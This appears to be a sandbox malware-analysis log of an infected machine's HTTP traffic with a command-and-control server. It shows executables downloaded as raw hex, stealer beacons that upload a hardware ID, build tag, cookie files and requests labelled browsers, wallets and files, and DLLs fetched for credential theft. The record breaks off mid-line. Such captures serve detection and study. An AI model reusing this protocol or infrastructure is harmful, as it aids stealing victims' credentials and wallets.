e0 70 79 68 77 61 6c 71 63 00 10 00 00 00 00 4d 00 00 04 00 00 00 9e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4d 00 00 22 00 00 00 a2 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 23:29:09 GMTContent-Type: application/octet-streamContent-Length: 4426240Last-Modified: Sun, 17 Nov 2024 22:35:26 GMTConnection: keep-aliveETag: "673a6fae-438a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 a0 ba 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 ba 00 00 04 00 00 af d9 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 83 ba 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 83 ba 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 65 00 00 10 00 00 00 6c 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 65 00 00 00 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 65 00 00 02 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 39 00 00 80 65 00 00 02 00 00 00 7e 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6a 66 70 7a 6b 63 76 00 f0 1b 00 00 a0 9e 00 00 e4 1b 00 00 80 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 69 69 77 75 76 6a 62 00 10 00 00 00 90 ba 00 00 04 00 00 00 64 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 ba 00 00 22 00 00 00 68 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 23:29:20 GMTContent-Type: application/octet-streamContent-Length: 1863168Last-Modified: Sun, 17 Nov 2024 23:14:35 GMTConnection: keep-aliveETag: "673a78db-1c6e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 10 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4a 00 00 04 00 00 5d ea 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 05 00 00 10 00 00 00 78 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 b0 05 00 00 00 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 05 00 00 02 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 d0 05 00 00 02 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 62 65 74 6a 73 66 6b 00 c0 19 00 00 40 30 00 00 bc 19 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 74 64 6c 61 65 69 6d 00 10 00 00 00 00 4a 00 00 04 00 00 00 48 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4a 00 00 22 00 00 00 4c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 43 37 31 31 37 38 42 32 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="hwid"98C71178B2D72284582127------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="build"mars------BKECAEBGHDAEBFHIEGHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBAFIDAECAKFHJDBAFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------HCFBAFIDAECAKFHJDBAFContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------HCFBAFIDAECAKFHJDBAFContent-Disposition: form-data; name="message"browsers------HCFBAFIDAECAKFHJDBAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCGIDAKECGCBGDBAFIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 2d 2d 0d 0a Data Ascii: ------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="message"plugins------FBFCGIDAKECGCBGDBAFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEHDBGDHDAECBGDHJKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="message"fplugins------FIEHDBGDHDAECBGDHJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAEHost: 185.215.113.206Content-Length: 7027Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 2d 2d 0d 0a Data Ascii: ------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KKFCFBKFCFBFIDGCGDHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="file"------HDHCFIJEGCAKJJKEHJJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAFHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBKJEGIEBFHCAAKKEBAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="file"------HDBKJEGIEBFHCAAKKEBA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKEGCAEGIIJKFIEHIJEHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="message"wallets------GCGHCBKFCFBFHIDHDBFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDAHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="message"files------CGCFIIEBKEGHJJJJJJDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 